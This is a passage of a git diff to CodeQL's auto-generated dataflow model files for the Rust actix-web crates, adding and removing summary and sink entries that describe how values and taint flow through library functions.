"Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::put", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http-test", "::request", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::request", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::request", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sdelete", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sdelete", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sget", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sget", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::shead", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::shead", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::soptions", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::soptions", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::spatch", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::spatch", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::spost", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::spost", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sput", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sput", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http-test", "::surl", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http-test", "::url", "Argument[0]", "ReturnValue", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http.model.yml index f1e7d73e129..45decf0071c 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http.model.yml @@ -7,21 +7,37 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "<&crate::header::value::HeaderValue as crate::header::into_value::TryIntoHeaderValue>::try_into_value", "Argument[self].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "<&str as crate::header::into_value::TryIntoHeaderValue>::try_into_value", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::from_io", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::call", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::body::body_stream::BodyStream::stream]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::boxed", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::as_pin_mut", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::as_pin_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::body::message_body::MessageBodyMapErr::body]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[1]", "ReturnValue.Field[crate::body::message_body::MessageBodyMapErr::mapper].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::size", "Argument[self].Field[crate::body::sized_stream::SizedStream::size]", "ReturnValue.Field[crate::body::size::BodySize::Sized(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::body::sized_stream::SizedStream::size]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[1]", "ReturnValue.Field[crate::body::sized_stream::SizedStream::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect", "Argument[0]", "Argument[self].Field[crate::builder::HttpServiceBuilder::client_disconnect_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect", "Argument[0]", "ReturnValue.Field[crate::builder::HttpServiceBuilder::client_disconnect_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect_timeout", "Argument[0]", "Argument[self].Field[crate::builder::HttpServiceBuilder::client_disconnect_timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect_timeout", "Argument[0]", "ReturnValue.Field[crate::builder::HttpServiceBuilder::client_disconnect_timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::client_request_timeout", "Argument[0]", "Argument[self].Field[crate::builder::HttpServiceBuilder::client_request_timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::client_request_timeout", "Argument[0]", "ReturnValue.Field[crate::builder::HttpServiceBuilder::client_request_timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::client_request_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_timeout", "Argument[0]", "Argument[self].Field[crate::builder::HttpServiceBuilder::client_request_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_timeout", "Argument[0]", "ReturnValue.Field[crate::builder::HttpServiceBuilder::client_request_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::expect", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::finish", "Argument[self].Field[crate::builder::HttpServiceBuilder::expect]", "ReturnValue.Field[crate::service::HttpService::expect]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::finish", "Argument[self].Field[crate::builder::HttpServiceBuilder::on_connect_ext]", "ReturnValue.Field[crate::service::HttpService::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::finish", "Argument[self].Field[crate::builder::HttpServiceBuilder::upgrade]", "ReturnValue.Field[crate::service::HttpService::upgrade]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::h1", "Argument[self].Field[crate::builder::HttpServiceBuilder::expect]", "ReturnValue.Field[crate::h1::service::H1Service::expect]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::h1", "Argument[self].Field[crate::builder::HttpServiceBuilder::on_connect_ext]", "ReturnValue.Field[crate::h1::service::H1Service::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::h1", "Argument[self].Field[crate::builder::HttpServiceBuilder::upgrade]", "ReturnValue.Field[crate::h1::service::H1Service::upgrade]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::h2", "Argument[self].Field[crate::builder::HttpServiceBuilder::on_connect_ext]", "ReturnValue.Field[crate::h2::service::H2Service::on_connect_ext]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::local_addr", "Argument[0]", "Argument[self].Field[crate::builder::HttpServiceBuilder::local_addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::local_addr", "Argument[0]", "ReturnValue.Field[crate::builder::HttpServiceBuilder::local_addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] @@ -30,8 +46,11 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::secure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::upgrade", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::now", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_date", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::from_headers", "Argument[0]", "ReturnValue.Field[crate::encoding::decoder::Decoder::stream]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::encoding::decoder::Decoder::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self].Field[crate::encoding::encoder::Encoder::body]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::encoding::encoder::Encoder::body]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::response", "Argument[2]", "ReturnValue.Field[crate::encoding::encoder::Encoder::body].Field[crate::encoding::encoder::EncoderBody::Stream::body]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] @@ -66,6 +85,9 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::unwrap", "Argument[self].Field[crate::h1::decoder::PayloadType::Payload(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::encode", "Argument[self].Field[crate::h1::encoder::TransferEncoding::kind].Field[crate::h1::encoder::TransferEncodingKind::Chunked(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::length", "Argument[0]", "ReturnValue.Field[crate::h1::encoder::TransferEncoding::kind].Field[crate::h1::encoder::TransferEncodingKind::Length(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::h1::service::H1Service::cfg].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::h1::service::H1Service::on_connect_ext].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::h1::service::H1Service::on_connect_ext]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::expect", "Argument[0]", "ReturnValue.Field[crate::h1::service::H1Service::expect]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "Argument[self].Field[crate::h1::service::H1Service::on_connect_ext]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "ReturnValue.Field[crate::h1::service::H1Service::on_connect_ext]", "value", "dfc-generated"] @@ -79,6 +101,9 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[1]", "ReturnValue.Field[crate::h2::dispatcher::Dispatcher::flow]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[2]", "ReturnValue.Field[crate::h2::dispatcher::Dispatcher::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[3]", "ReturnValue.Field[crate::h2::dispatcher::Dispatcher::peer_addr]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::h2::service::H2Service::cfg].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::h2::service::H2Service::on_connect_ext].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::h2::service::H2Service::on_connect_ext]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "Argument[self].Field[crate::h2::service::H2Service::on_connect_ext]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "ReturnValue.Field[crate::h2::service::H2Service::on_connect_ext]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -106,7 +131,6 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::payload::Payload::H2::payload].Field[crate::h2::Payload::stream]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::payload::Payload::H2::payload]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::payload::Payload::Stream::payload]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::take", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::with_pool", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::headers", "Argument[self].Field[crate::requests::head::RequestHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::headers_mut", "Argument[self].Field[crate::requests::head::RequestHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -115,8 +139,9 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::headers", "Argument[self].Field[crate::requests::head::RequestHeadType::Owned(0)].Field[crate::requests::head::RequestHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::requests::request::Request::head]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::headers_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::extensions", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::extensions_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::headers", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::take_payload", "Argument[self].Field[crate::requests::request::Request::payload]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::head", "Argument[self].Field[crate::requests::request::Request::head]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::head_mut", "Argument[self].Field[crate::requests::request::Request::head]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::into_parts", "Argument[self].Field[crate::requests::request::Request::head]", "ReturnValue.Field[0]", "value", "dfc-generated"] @@ -125,9 +150,6 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::payload", "Argument[self].Field[crate::requests::request::Request::payload]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::peer_addr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::replace_payload", "Argument[0]", "ReturnValue.Field[0].Field[crate::requests::request::Request::payload]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::take_conn_data", "Argument[self].Field[crate::requests::request::Request::conn_data].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::take_conn_data", "Argument[self].Field[crate::requests::request::Request::conn_data]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::take_payload", "Argument[self].Field[crate::requests::request::Request::payload]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::uri", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::version", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::with_payload", "Argument[0]", "ReturnValue.Field[crate::requests::request::Request::payload]", "value", "dfc-generated"] @@ -138,11 +160,9 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::message_body", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::responses::response::Response::body]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::message_body", "Argument[self].Field[crate::responses::builder::ResponseBuilder::head].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::responses::response::Response::head]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::no_chunking", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::reason", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::status", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::take", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::upgrade", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::deref", "Argument[self].Field[crate::responses::head::BoxedResponseHead::head].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::deref_mut", "Argument[self].Field[crate::responses::head::BoxedResponseHead::head].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -158,6 +178,8 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::body", "Argument[self].Field[crate::responses::response::Response::body]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::drop_body", "Argument[self].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::drop_body", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::extensions", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::extensions_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::head", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::head_mut", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::into_body", "Argument[self].Field[crate::responses::response::Response::body]", "ReturnValue", "value", "dfc-generated"] @@ -177,6 +199,9 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::set_body", "Argument[self].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::set_body", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::responses::response::Response::head]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::with_body", "Argument[1]", "ReturnValue.Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::service::HttpService::cfg].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::service::HttpService::on_connect_ext].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::service::HttpService::on_connect_ext]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::expect", "Argument[0]", "ReturnValue.Field[crate::service::HttpService::expect]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "Argument[self].Field[crate::service::HttpService::on_connect_ext]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "ReturnValue.Field[crate::service::HttpService::on_connect_ext]", "value", "dfc-generated"] @@ -186,14 +211,12 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::service::HttpServiceHandler::cfg]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[4]", "ReturnValue.Field[crate::service::HttpServiceHandler::on_connect_ext]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::handshake_timeout", "Argument[0]", "ReturnValue.Field[crate::service::TlsAcceptorConfig::handshake_timeout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::clone", "Argument[self].Field[crate::test::TestBuffer::err].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::test::TestBuffer::err].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::clone", "Argument[self].Field[crate::test::TestBuffer::err].Reference", "ReturnValue.Field[crate::test::TestBuffer::err]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::clone", "Argument[self].Field[crate::test::TestBuffer::err]", "ReturnValue.Field[crate::test::TestBuffer::err]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::append_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::method", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::set_payload", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::take", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::uri", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0].Field[crate::header::shared::http_date::HttpDate(0)]", "ReturnValue", "value", "dfc-generated"] @@ -223,5 +246,8 @@ extensions: pack: codeql/rust-all extensible: sinkModel data: + - ["repo:https://github.com/actix/actix-web:actix-http", "::from_io", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[4]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[4]", "pointer-access", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::call", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "crate::ws::proto::hash_key", "Argument[0]", "hasher-input", "df-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-multipart.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-multipart.model.yml index f5be3177f5b..c91f3e41db7 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-multipart.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-multipart.model.yml @@ -4,6 +4,11 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo:https://github.com/actix/actix-web:actix-multipart", "<_ as crate::form::FieldGroupReader>::from_state", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "<_ as crate::form::FieldGroupReader>::handle_field", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "<_ as crate::form::FieldGroupReader>::handle_field", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "<_ as crate::form::FieldGroupReader>::handle_field", "Argument[2]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "<_ as crate::form::FieldGroupReader>::handle_field", "Argument[3]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::content_disposition", "Argument[self].Field[crate::field::Field::content_disposition].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::content_type", "Argument[self].Field[crate::field::Field::content_type].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::headers", "Argument[self].Field[crate::field::Field::headers]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -26,18 +31,40 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-multipart", "::total_limit", "Argument[0]", "Argument[self].Field[crate::form::MultipartFormConfig::total_limit]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::total_limit", "Argument[0]", "ReturnValue.Field[crate::form::MultipartFormConfig::total_limit]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::total_limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[1]", 